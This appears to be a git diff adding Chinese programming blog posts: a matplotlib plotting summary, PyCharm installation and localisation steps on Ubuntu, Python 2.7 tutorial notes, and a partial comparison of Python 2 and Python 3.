||||||
|
# 从高斯分布随机生成1000个点得到的直方图:
|
||||||
|
hist(randn(1000))
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
(array([ 4., 27., 72., 148., 211., 221., 162., 111., 29., 15.]),
|
||||||
|
array([-3.06945987, -2.48284754, -1.89623522, -1.3096229 , -0.72301058,
|
||||||
|
-0.13639825, 0.45021407, 1.03682639, 1.62343871, 2.21005103,
|
||||||
|
2.79666336]),
|
||||||
|
<a list of 10 Patch objects>)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
"""
|
||||||
|
==================
|
||||||
|
A simple Fill plot
|
||||||
|
==================
|
||||||
|
|
||||||
|
This example showcases the most basic fill plot a user can do with matplotlib.
|
||||||
|
"""
|
||||||
|
import numpy as np
|
||||||
|
import matplotlib.pyplot as plt
|
||||||
|
|
||||||
|
x = np.linspace(0, 1, 500)
|
||||||
|
y = np.sin(4 * np.pi * x) * np.exp(-5 * x)
|
||||||
|
|
||||||
|
fig, ax = plt.subplots()
|
||||||
|
|
||||||
|
ax.fill(x, y, zorder=10)
|
||||||
|
ax.grid(True, zorder=5)
|
||||||
|
plt.show()
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
"""
|
||||||
|
========================
|
||||||
|
A more complex fill demo
|
||||||
|
========================
|
||||||
|
|
||||||
|
In addition to the basic fill plot, this demo shows a few optional features:
|
||||||
|
|
||||||
|
* Multiple curves with a single command.
|
||||||
|
* Setting the fill color.
|
||||||
|
* Setting the opacity (alpha value).
|
||||||
|
"""
|
||||||
|
import numpy as np
|
||||||
|
import matplotlib.pyplot as plt
|
||||||
|
|
||||||
|
x = np.linspace(0, 2 * np.pi, 500)
|
||||||
|
y1 = np.sin(x)
|
||||||
|
y2 = np.sin(3 * x)
|
||||||
|
|
||||||
|
fig, ax = plt.subplots()
|
||||||
|
ax.fill(x, y1, 'b', x, y2, 'r', alpha=0.3)
|
||||||
|
plt.show()
|
||||||
|
```
|
||||||
|
|
||||||
|
## 总结
|
||||||
|
|
||||||
|
```
|
||||||
|
# 导入 matplotlib 和 numpy:
|
||||||
|
%pylab
|
||||||
|
|
||||||
|
%matplotlib inline
|
||||||
|
x = linspace(0,2*pi,50)
|
||||||
|
plot(sin(x)) # 没有给定x,则范围为0-50
|
||||||
|
|
||||||
|
# 给定x和y值
|
||||||
|
plot(x, sin(x)) # 给定x,则范围为0-2pi
|
||||||
|
|
||||||
|
# 多条数据线
|
||||||
|
plot(x,sin(x),
|
||||||
|
x,sin(2*x))
|
||||||
|
|
||||||
|
# 使用字符串,给定线条参数:
|
||||||
|
plot(x, sin(x), 'r-^')
|
||||||
|
|
||||||
|
# 多线条:
|
||||||
|
plot(x,sin(x),'b-o',
|
||||||
|
x,sin(2*x),'r-^')
|
||||||
|
|
||||||
|
# 假设我们想画二维散点图:
|
||||||
|
plot(x, sin(x), 'bo')
|
||||||
|
# 使用 scatter 达到同样的效果
|
||||||
|
scatter(x, sin(x))
|
||||||
|
|
||||||
|
# scatter函数与Matlab的用法相同,还可以指定它的大小,颜色等参数
|
||||||
|
x = rand(200)
|
||||||
|
y = rand(200)
|
||||||
|
size = rand(200) * 30
|
||||||
|
color = rand(200)
|
||||||
|
scatter(x, y, size, color)
|
||||||
|
# 显示颜色条
|
||||||
|
colorbar()
|
||||||
|
|
||||||
|
# 使用figure()命令产生新的图像:
|
||||||
|
t = linspace(0, 2*pi, 50)
|
||||||
|
x = sin(t)
|
||||||
|
y = cos(t)
|
||||||
|
figure()
|
||||||
|
plot(x)
|
||||||
|
figure()
|
||||||
|
plot(y)
|
||||||
|
|
||||||
|
# 或者使用 subplot 在一幅图中画多幅子图:
|
||||||
|
# subplot(row, column, index)
|
||||||
|
subplot(1, 2, 1)
|
||||||
|
plot(x)
|
||||||
|
subplot(1, 2, 2)
|
||||||
|
plot(y)
|
||||||
|
|
||||||
|
# 默认多次 plot 会叠加:
|
||||||
|
plot(x)
|
||||||
|
plot(y)
|
||||||
|
|
||||||
|
# 跟Matlab类似用 hold(False)关掉,这样新图会将原图覆盖:
|
||||||
|
plot(x)
|
||||||
|
hold(False)
|
||||||
|
plot(y)
|
||||||
|
# 恢复原来设定
|
||||||
|
hold(True)
|
||||||
|
|
||||||
|
# 可以在 plot 中加入 label ,使用 legend 加上图例:
|
||||||
|
plot(x, label='sin')
|
||||||
|
plot(y, label='cos')
|
||||||
|
legend()
|
||||||
|
|
||||||
|
# 或者直接在 legend中加入:
|
||||||
|
plot(x)
|
||||||
|
plot(y)
|
||||||
|
legend(['sin', 'cos'])
|
||||||
|
|
||||||
|
# 可以设置坐标轴的标签和标题:
|
||||||
|
plot(x, sin(x))
|
||||||
|
xlabel('radians')
|
||||||
|
# 可以设置字体大小
|
||||||
|
ylabel('amplitude', fontsize='large')
|
||||||
|
title('Sin(x)')
|
||||||
|
# 用 'grid()' 来显示网格:
|
||||||
|
grid()
|
||||||
|
|
||||||
|
# 导入lena图片
|
||||||
|
from scipy.misc import face,ascent
|
||||||
|
img1 = face()
|
||||||
|
img2 = ascent()
|
||||||
|
|
||||||
|
# 显示图片
|
||||||
|
imshow(img1,
|
||||||
|
# 设置坐标范围
|
||||||
|
extent = [-25, 25, -25, 25],
|
||||||
|
# 设置colormap
|
||||||
|
cmap = cm.bone)
|
||||||
|
colorbar()
|
||||||
|
|
||||||
|
# 在脚本中使用 plot 时,通常图像是不会直接显示的,需要增加 show() 选项,只有在遇到 show() 命令之后,图像才会显示。
|
||||||
|
|
||||||
|
# 从高斯分布随机生成1000个点得到的直方图:
|
||||||
|
hist(randn(1000))
|
||||||
|
|
||||||
|
# 查阅帮助 <模块或者函数名>??
|
||||||
|
```
|
|
@ -0,0 +1,18 @@
|
||||||
|
# 原创
|
||||||
|
: Pycharm安装与汉化
|
||||||
|
|
||||||
|
# Pycharm安装与汉化
|
||||||
|
|
||||||
|
`一、Ubuntu 16.04 安装 PyCharm`
|
||||||
|
|
||||||
|
`通过第三方源安装PyCharm,好处是升级方便。<br/> 添加源:sudo add-apt-repository ppa:mystic-mirage/pycharm<br/> 安装收费的专业版:sudo apt update;sudo apt install pycharm`
|
||||||
|
|
||||||
|
`安装免费的社区版:sudo apt update;sudo apt install pycharm-community`
|
||||||
|
|
||||||
|
`卸载:sudo apt remove pycharm pycharm-community && sudo apt autoremove<br/><br/>**二、汉化**<br/> 参考:[Ubuntu 16.04 安装 PyCharm-Python IDE – WTF Daily Blog](http://blog.topspeedsnail.com/archives/6723)`
|
||||||
|
|
||||||
|
汉化包:[https://github.com/pingfangx/TranslatorX](https://github.com/pingfangx/TranslatorX) ,拿走不谢
|
||||||
|
|
||||||
|
cd /tmp git clone https://github.com/ewen0930/PyCharm-Chinese cd Pycharm-Chinese bash package.cmd (若找不到jar命令,需安装配置java环境,ubuntu为apt install default-jdk) sudo cp resources_zh.jar /usr/lib/pycharm-community/lib
|
||||||
|
|
||||||
|
重启 pycharm 生效
|
|
@ -0,0 +1,423 @@
|
||||||
|
# 原创
|
||||||
|
: Python Tutorial 2.7.14总结
|
||||||
|
|
||||||
|
# Python Tutorial 2.7.14总结
|
||||||
|
|
||||||
|
### 目录
|
||||||
|
|
||||||
|
## 编码风格
|
||||||
|
|
||||||
|
[**PEP 8**](https://www.python.org/dev/peps/pep-0008) 引入了大多数项目遵循的风格指导,以下是比较实用的编码风格:
|
||||||
|
|
||||||
|
## 数据结构
|
||||||
|
|
||||||
|
### 列表常用函数
|
||||||
|
|
||||||
|
<th align="center">对象方法</th><th align="left">描述</th>
|
||||||
|
|------
|
||||||
|
<td align="center">`list.append`(**x**)</td><td align="left">把一个元素添加到链表的结尾(入栈)</td>
|
||||||
|
<td align="center">`list.pop`([**i**])</td><td align="left">从链表的指定位置删除元素,**并将其返回**,如果没有指定索引,`a.pop()` 返回最后一个元素。(出栈)</td>
|
||||||
|
<td align="center">`list.sort`(**cmp=None**, **key=None**, **reverse=False**)</td><td align="left">对链表中的元素就地进行排序</td>
|
||||||
|
<td align="center">`list.reverse`()</td><td align="left">就地倒排链表中的元素</td>
|
||||||
|
<td align="center">`list.remove`(**x**)</td><td align="left">删除链表中值为 **x** 的第一个元素。如果没有这样的元素,就会返回一个错误。</td>
|
||||||
|
<td align="center">`list.insert`(**i**, **x**)</td><td align="left">在指定位置插入一个元素</td>
|
||||||
|
<td align="center">`list.index`(**x**)</td><td align="left">返回链表中第一个值为 **x** 的元素的索引,如果没有匹配的元素就会返回一个错误</td>
|
||||||
|
<td align="center">`list.count`(**x**)</td><td align="left">返回 **x** 在链表中出现的次数</td>
|
||||||
|
<td align="center">`list.extend`(**L**)</td><td align="left">将一个给定列表中的所有元素都添加到另一个列表中,相当于 `a[len(a):] = L`</td>
|
||||||
|
|
||||||
|
队列实现`collections.deque()`,`append()`和`popleft()`
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> from collections import deque
|
||||||
|
>>> queue = deque(["Eric", "John", "Michael"])
|
||||||
|
>>> queue.append("Terry") # Terry arrives
|
||||||
|
>>> queue.append("Graham") # Graham arrives
|
||||||
|
>>> queue.popleft() # The first to arrive now leaves
|
||||||
|
'Eric'
|
||||||
|
>>> queue.popleft() # The second to arrive now leaves
|
||||||
|
'John'
|
||||||
|
>>> queue # Remaining queue in order of arrival
|
||||||
|
deque(['Michael', 'Terry', 'Graham'])
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 函数式编程工具
|
||||||
|
|
||||||
|
对于链表: [filter()](https://docs.python.org/2.7/library/functions.html#filter),[map()](https://docs.python.org/2.7/library/functions.html#map) 以及 [reduce()](https://docs.python.org/2.7/library/functions.html#reduce)
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> def f(x): return x % 3 == 0 or x % 5 == 0
|
||||||
|
...
|
||||||
|
>>> filter(f, range(2, 25))
|
||||||
|
[3, 5, 6, 9, 10, 12, 15, 18, 20, 21, 24]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> def cube(x): return x*x*x
|
||||||
|
...
|
||||||
|
>>> map(cube, range(1, 11))
|
||||||
|
[1, 8, 27, 64, 125, 216, 343, 512, 729, 1000]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> def add(x,y): return x+y
|
||||||
|
...
|
||||||
|
>>> reduce(add, range(1, 11))
|
||||||
|
55
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
列表推导式:
|
||||||
|
|
||||||
|
```
|
||||||
|
squares = [x**2 for x in range(10)]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 元组和序列
|
||||||
|
|
||||||
|
元组不可变`>>> singleton = 'hello', # <-- note trailing comma`
|
||||||
|
|
||||||
|
### 集合
|
||||||
|
|
||||||
|
集合是一个无序不重复元素的集,基本功能包括关系测试和消除重复元素
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> a = set('abracadabra')
|
||||||
|
>>> a # unique letters in a
|
||||||
|
set(['a', 'r', 'b', 'c', 'd'])
|
||||||
|
>>> a = {x for x in 'abracadabra' if x not in 'abc'}
|
||||||
|
>>> a
|
||||||
|
{'r', 'd'}
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 字典
|
||||||
|
|
||||||
|
创建字典:
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> dict([('sape', 4139), ('guido', 4127), ('jack', 4098)])
|
||||||
|
{'sape': 4139, 'jack': 4098, 'guido': 4127}
|
||||||
|
>>> {x: x**2 for x in (2, 4, 6)}
|
||||||
|
{2: 4, 4: 16, 6: 36}
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 循环技巧
|
||||||
|
|
||||||
|
在**序列**中循环时,索引位置和对应值可以使用 [enumerate()](https://docs.python.org/2.7/library/functions.html#enumerate) 函数同时得到:
|
||||||
|
|
||||||
|
```
|
||||||
|
list = ['tic', 'tac', 'toe']
|
||||||
|
>>> for i, v in enumerate(list):
|
||||||
|
... print(i, v)
|
||||||
|
...
|
||||||
|
0 tic
|
||||||
|
1 tac
|
||||||
|
2 toe
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
多个循环,使用`zip()`整体打包循环:
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> questions = ['name', 'quest', 'favorite color']
|
||||||
|
>>> answers = ['lancelot', 'the holy grail', 'blue']
|
||||||
|
>>> for q, a in zip(questions, answers):
|
||||||
|
... print 'What is your {0}? It is {1}.'.format(q, a)
|
||||||
|
...
|
||||||
|
What is your name? It is lancelot.
|
||||||
|
What is your quest? It is the holy grail.
|
||||||
|
What is your favorite color? It is blue.
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
遍历字典时,使用 `iteritems()` 方法可以同时得到键和对应的值。:
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> knights = {'gallahad': 'the pure', 'robin': 'the brave'}
|
||||||
|
>>> for k, v in knights.iteritems():
|
||||||
|
... print k, v
|
||||||
|
...
|
||||||
|
gallahad the pure
|
||||||
|
robin the brave
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 模块
|
||||||
|
|
||||||
|
### 包
|
||||||
|
|
||||||
|
包内引用:包中使用了子包结构,可以按绝对位置从相邻的包中引入子模块
|
||||||
|
|
||||||
|
```
|
||||||
|
from . import echo
|
||||||
|
from .. import formats
|
||||||
|
from ..filters import equalizer
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 输入与输出
|
||||||
|
|
||||||
|
### 格式化输出
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> s = 'Hello, world.'
|
||||||
|
>>> str(s)
|
||||||
|
'Hello, world.'
|
||||||
|
>>> repr(s)
|
||||||
|
"'Hello, world.'"
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> table = {'Sjoerd': 4127, 'Jack': 4098, 'Dcab': 8637678}
|
||||||
|
>>> print 'Jack: {Jack:d}; Sjoerd: {Sjoerd:d}; Dcab: {Dcab:d}'.format(**table)
|
||||||
|
Jack: 4098; Sjoerd: 4127; Dcab: 8637678
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> import math
|
||||||
|
>>> print 'The value of PI is approximately %5.3f.' % math.pi
|
||||||
|
The value of PI is approximately 3.142.
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 文件读写
|
||||||
|
|
||||||
|
### 使用 [json](https://docs.python.org/2.7/library/json.html#module-json) 存储结构化数据
|
||||||
|
|
||||||
|
标准模块 [json](https://docs.python.org/2.7/library/json.html#module-json) 可以接受 Python 数据结构,并将它们转换为字符串表示形式;此过程称为 **序列化**。从字符串表示形式重新构建数据结构称为 **反序列化**。
|
||||||
|
|
||||||
|
>
|
||||||
|
JSON 格式经常用于现代应用程序中进行数据交换。许多程序员都已经熟悉它了,使它成为相互协作的一个不错的选择。
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> json.dumps([1, 'simple', 'list'])
|
||||||
|
'[1, "simple", "list"]'
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
[dumps()](https://docs.python.org/2.7/library/json.html#json.dumps) 函数的另外一个变体 [dump()](https://docs.python.org/2.7/library/json.html#json.dump),直接将对象序列化到一个文件。所以如果 `f` 是为写入而打开的一个 [文件对象](https://docs.python.org/2.7/glossary.html#term-file-object),我们可以这样做:`json.dump(x, f)`
|
||||||
|
|
||||||
|
`x = json.load(f)`:重新解码对象。
|
||||||
|
|
||||||
|
## 错误和异常
|
||||||
|
|
||||||
|
```
|
||||||
|
try:
|
||||||
|
raise ...
|
||||||
|
except Exception as e:
|
||||||
|
...
|
||||||
|
finally:
|
||||||
|
...
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 类
|
||||||
|
|
||||||
|
### 迭代器
|
||||||
|
|
||||||
|
大多数容器对象都可以用 [for](https://docs.python.org/2.7/reference/compound_stmts.html#for) 遍历:
|
||||||
|
|
||||||
|
在后台,[for](https://docs.python.org/2.7/reference/compound_stmts.html#for) 语句在容器对象中调用 [iter()](https://docs.python.org/2.7/library/functions.html#iter)。 该函数返回一个定义了 [next()](https://docs.python.org/2.7/library/stdtypes.html#iterator.next) 方法的迭代器对象,它在容器中逐一访问元素。没有后续的元素时,[next()](https://docs.python.org/2.7/library/stdtypes.html#iterator.next) 抛出一个 [StopIteration](https://docs.python.org/2.7/library/exceptions.html#exceptions.StopIteration) 异常通知 [for](https://docs.python.org/2.7/reference/compound_stmts.html#for) 语句循环结束。以下是其工作原理的示例:
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> s = 'abc'
|
||||||
|
>>> it = iter(s)
|
||||||
|
>>> it
|
||||||
|
<iterator object at 0x00A1DB50>
|
||||||
|
>>> next(it)
|
||||||
|
'a'
|
||||||
|
>>> next(it)
|
||||||
|
'b'
|
||||||
|
>>> next(it)
|
||||||
|
'c'
|
||||||
|
>>> next(it)
|
||||||
|
Traceback (most recent call last):
|
||||||
|
File "<stdin>", line 1, in ?
|
||||||
|
next(it)
|
||||||
|
StopIteration
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 给自己的类定义迭代器
|
||||||
|
|
||||||
|
定义一个 [`__iter__()`](https://docs.python.org/2.7/reference/datamodel.html#object.__iter__) 方法,使其返回一个带有 [next()](https://docs.python.org/2.7/library/stdtypes.html#iterator.next) 方法的对象。如果这个类已经定义了 [next()](https://docs.python.org/2.7/library/stdtypes.html#iterator.next),那么 [`__iter__()`](https://docs.python.org/2.7/reference/datamodel.html#object.__iter__) 只需要返回 `self`:
|
||||||
|
|
||||||
|
```
|
||||||
|
class Reverse:
|
||||||
|
"""Iterator for looping over a sequence backwards."""
|
||||||
|
def __init__(self, data):
|
||||||
|
self.data = data
|
||||||
|
self.index = len(data)
|
||||||
|
def __iter__(self):
|
||||||
|
return self
|
||||||
|
def __next__(self):
|
||||||
|
if self.index == 0:
|
||||||
|
raise StopIteration
|
||||||
|
self.index = self.index - 1
|
||||||
|
return self.data[self.index]
|
||||||
|
>>> rev = Reverse('spam')
|
||||||
|
>>> iter(rev)
|
||||||
|
<__main__.Reverse object at 0x00A1DB50>
|
||||||
|
>>> for char in rev:
|
||||||
|
... print(char)
|
||||||
|
...
|
||||||
|
m
|
||||||
|
a
|
||||||
|
p
|
||||||
|
s
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 生成器
|
||||||
|
|
||||||
|
[yield](https://docs.python.org/2.7/reference/simple_stmts.html#yield) 语句,每次 [next()](https://docs.python.org/2.7/library/functions.html#next) 被调用时,生成器回复它脱离的位置(它记忆语句最后一次执行的位置和所有的数据值)。当发生器终结时,还会自动抛出 [StopIteration](https://docs.python.org/2.7/library/exceptions.html#exceptions.StopIteration)异常。
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> sum(i*i for i in range(10)) # sum of squares
|
||||||
|
285
|
||||||
|
|
||||||
|
>>> xvec = [10, 20, 30]
|
||||||
|
>>> yvec = [7, 5, 3]
|
||||||
|
>>> sum(x*y for x,y in zip(xvec, yvec)) # dot product
|
||||||
|
260
|
||||||
|
|
||||||
|
>>> from math import pi, sin
|
||||||
|
>>> sine_table = {x: sin(x*pi/180) for x in range(0, 91)}
|
||||||
|
|
||||||
|
>>> unique_words = set(word for line in page for word in line.split())
|
||||||
|
|
||||||
|
>>> valedictorian = max((student.gpa, student.name) for student in graduates)
|
||||||
|
|
||||||
|
>>> data = 'golf'
|
||||||
|
>>> list(data[i] for i in range(len(data)-1, -1, -1))
|
||||||
|
['f', 'l', 'o', 'g']
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## Python标准库概览
|
||||||
|
|
||||||
|
### 操作系统接口
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> import os
|
||||||
|
>>> os.getcwd() # Return the current working directory
|
||||||
|
'C:\\Python27'
|
||||||
|
>>> os.chdir('/server/accesslogs') # Change current working directory
|
||||||
|
>>> os.system('mkdir today') # Run the command mkdir in the system shell
|
||||||
|
0
|
||||||
|
|
||||||
|
# 文件管理
|
||||||
|
>>> import shutil
|
||||||
|
>>> shutil.copyfile('data.db', 'archive.db')
|
||||||
|
>>> shutil.move('/build/executables', 'installdir')
|
||||||
|
|
||||||
|
# 从目录通配符搜索中生成文件列表
|
||||||
|
>>> import glob
|
||||||
|
>>> glob.glob('*.py')
|
||||||
|
['primes.py', 'random.py', 'quote.py']
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### random
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> import random
|
||||||
|
>>> random.choice(['apple', 'pear', 'banana'])
|
||||||
|
'apple'
|
||||||
|
>>> random.sample(xrange(100), 10) # sampling without replacement
|
||||||
|
[30, 83, 16, 4, 8, 81, 41, 50, 18, 33]
|
||||||
|
>>> random.random() # random float
|
||||||
|
0.17970987693706186
|
||||||
|
>>> random.randrange(6) # random integer chosen from range(6)
|
||||||
|
4
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 互联网访问
|
||||||
|
|
||||||
|
用于处理从 urls 接收的数据的 [urllib2](https://docs.python.org/2.7/library/urllib2.html#module-urllib2) 以及用于发送电子邮件的 [smtplib](https://docs.python.org/2.7/library/smtplib.html#module-smtplib):
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> import urllib2
|
||||||
|
>>> for line in urllib2.urlopen('http://tycho.usno.navy.mil/cgi-bin/timer.pl'):
|
||||||
|
... line = line.decode('utf-8') # Decoding the binary data to text.
|
||||||
|
... if 'EST' in line or 'EDT' in line: # look for Eastern Time
|
||||||
|
... print line
|
||||||
|
|
||||||
|
<BR>Nov. 25, 09:43:32 PM EST
|
||||||
|
|
||||||
|
# 需要在 localhost 运行一个邮件服务器
|
||||||
|
>>> import smtplib
|
||||||
|
>>> server = smtplib.SMTP('localhost')
|
||||||
|
>>> server.sendmail('soothsayer@example.org', 'jcaesar@example.org',
|
||||||
|
... """To: jcaesar@example.org
|
||||||
|
... From: soothsayer@example.org
|
||||||
|
...
|
||||||
|
... Beware the Ides of March.
|
||||||
|
... """)
|
||||||
|
>>> server.quit()
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 日期和时间
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> # dates are easily constructed and formatted
|
||||||
|
>>> from datetime import date
|
||||||
|
>>> now = date.today()
|
||||||
|
>>> now
|
||||||
|
datetime.date(2003, 12, 2)
|
||||||
|
>>> now.strftime("%m-%d-%y. %d %b %Y is a %A on the %d day of %B.")
|
||||||
|
'12-02-03. 02 Dec 2003 is a Tuesday on the 02 day of December.'
|
||||||
|
|
||||||
|
>>> # dates support calendar arithmetic
|
||||||
|
>>> birthday = date(1964, 7, 31)
|
||||||
|
>>> age = now - birthday
|
||||||
|
>>> age.days
|
||||||
|
14368
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 数据压缩
|
||||||
|
|
||||||
|
[zlib](https://docs.python.org/2.7/library/zlib.html#module-zlib),[gzip](https://docs.python.org/2.7/library/gzip.html#module-gzip),[bz2](https://docs.python.org/2.7/library/bz2.html#module-bz2),[zipfile](https://docs.python.org/2.7/library/zipfile.html#module-zipfile) 以及 [tarfile](https://docs.python.org/2.7/library/tarfile.html#module-tarfile)
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> import zlib
|
||||||
|
>>> s = b'witch which has which witches wrist watch'
|
||||||
|
>>> len(s)
|
||||||
|
41
|
||||||
|
>>> t = zlib.compress(s)
|
||||||
|
>>> len(t)
|
||||||
|
37
|
||||||
|
>>> zlib.decompress(t)
|
||||||
|
b'witch which has which witches wrist watch'
|
||||||
|
>>> zlib.crc32(s)
|
||||||
|
226805979
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 性能度量
|
||||||
|
|
||||||
|
[timeit](https://docs.python.org/2.7/library/timeit.html#module-timeit)
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> from timeit import Timer
|
||||||
|
>>> Timer('t=a; a=b; b=t', 'a=1; b=2').timeit()
|
||||||
|
0.57535828626024577
|
||||||
|
>>> Timer('a,b = b,a', 'a=1; b=2').timeit()
|
||||||
|
0.54962537085770791
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
>
|
||||||
|
更多细节见:[http://www.pythondoc.com/pythontutorial27/stdlib2.html](http://www.pythondoc.com/pythontutorial27/stdlib2.html)<br/> 参考书籍:[http://www.pythondoc.com/pythontutorial27/](http://www.pythondoc.com/pythontutorial27/)
|
||||||
|
|
|
@ -0,0 +1,310 @@
|
||||||
|
# 原创
|
||||||
|
: Python2和Python3的区别
|
||||||
|
|
||||||
|
# Python2和Python3的区别
|
||||||
|
|
||||||
|
### 目录
|
||||||
|
|
||||||
|
### print和input
|
||||||
|
|
||||||
|
Python2等价版本
|
||||||
|
|
||||||
|
```
|
||||||
|
print "fish"
|
||||||
|
print ("fish") #注意print后面有个空格
|
||||||
|
print("fish") #print()不能带有任何其它参数
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
Python3中没有print语句,由print()函数代替,可以有空格
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> print("fish", "panda", sep='#')
|
||||||
|
fish#panda
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
在python2.x中raw_input()和input( ),两个函数都存在:
|
||||||
|
|
||||||
|
python3.x中raw_input()和input( )进行了整合,去除了raw_input(),input()函数接收任意任性输入,将所有输入默认为字符串处理,并返回字符串类型。
|
||||||
|
|
||||||
|
### Unicode
|
||||||
|
|
||||||
|
```
|
||||||
|
# Python2
|
||||||
|
str = "我爱北京天安门"
|
||||||
|
str
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
'\xe6\x88\x91\xe7\x88\xb1\xe5\x8c\x97\xe4\xba\xac\xe5\xa4\xa9\xe5\xae\x89\xe9\x97\xa8'
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
str = u"我爱北京天安门"
|
||||||
|
str
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
u'\u6211\u7231\u5317\u4eac\u5929\u5b89\u95e8'
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# Python3
|
||||||
|
str = "我爱北京天安门"
|
||||||
|
str
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
'我爱北京天安门'
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 除法运算
|
||||||
|
|
||||||
|
**Python中的除法有两个运算符,/和//**
|
||||||
|
|
||||||
|
首先来说`/`除法:
|
||||||
|
|
||||||
|
```
|
||||||
|
#python2
|
||||||
|
4/3
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
1
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# python 3.x中/除法对于整数之间的相除,结果也会是浮点数
|
||||||
|
4/3
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
1.3333333333333333
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
对于//除法:
|
||||||
|
|
||||||
|
```
|
||||||
|
# python2
|
||||||
|
-1//2
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
-1
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# python3
|
||||||
|
-1//2
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
-1
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 异常
|
||||||
|
|
||||||
|
Python 3 中我们现在使用 as 作为关键词,捕获异常的语法由 `except exc, var` 改为 `except exc as var`。
|
||||||
|
|
||||||
|
### xrange
|
||||||
|
|
||||||
|
### 八进制字面量表示
|
||||||
|
|
||||||
|
```
|
||||||
|
# Python2
|
||||||
|
print 0o1000,01000
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
512 512
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# Python3
|
||||||
|
print(0o1000)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
512
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
print(01000)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
File "<ipython-input-3-d096c5298f8d>", line 1
|
||||||
|
print(01000)
|
||||||
|
^
|
||||||
|
SyntaxError: invalid token
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 不等运算符
|
||||||
|
|
||||||
|
### 去掉了repr表达式``
|
||||||
|
|
||||||
|
### 多个模块被改名
|
||||||
|
|
||||||
|
<th align="center">旧的名字</th><th align="center">新的名字</th>
|
||||||
|
|------
|
||||||
|
<td align="center">`_winreg`</td><td align="center">winreg</td>
|
||||||
|
<td align="center">ConfigParser</td><td align="center">configparser</td>
|
||||||
|
<td align="center">copy_reg</td><td align="center">copyreg</td>
|
||||||
|
<td align="center">Queue</td><td align="center">queue</td>
|
||||||
|
<td align="center">SocketServer</td><td align="center">socketserver</td>
|
||||||
|
<td align="center">repr</td><td align="center">reprlib</td>
|
||||||
|
|
||||||
|
httplib, BaseHTTPServer, CGIHTTPServer, SimpleHTTPServer, Cookie, cookielib被合并到http包内。取消了exec语句,只剩下exec()函数
|
||||||
|
|
||||||
|
### 数据类型
|
||||||
|
|
||||||
|
```
|
||||||
|
# python3
|
||||||
|
b = b'china'
|
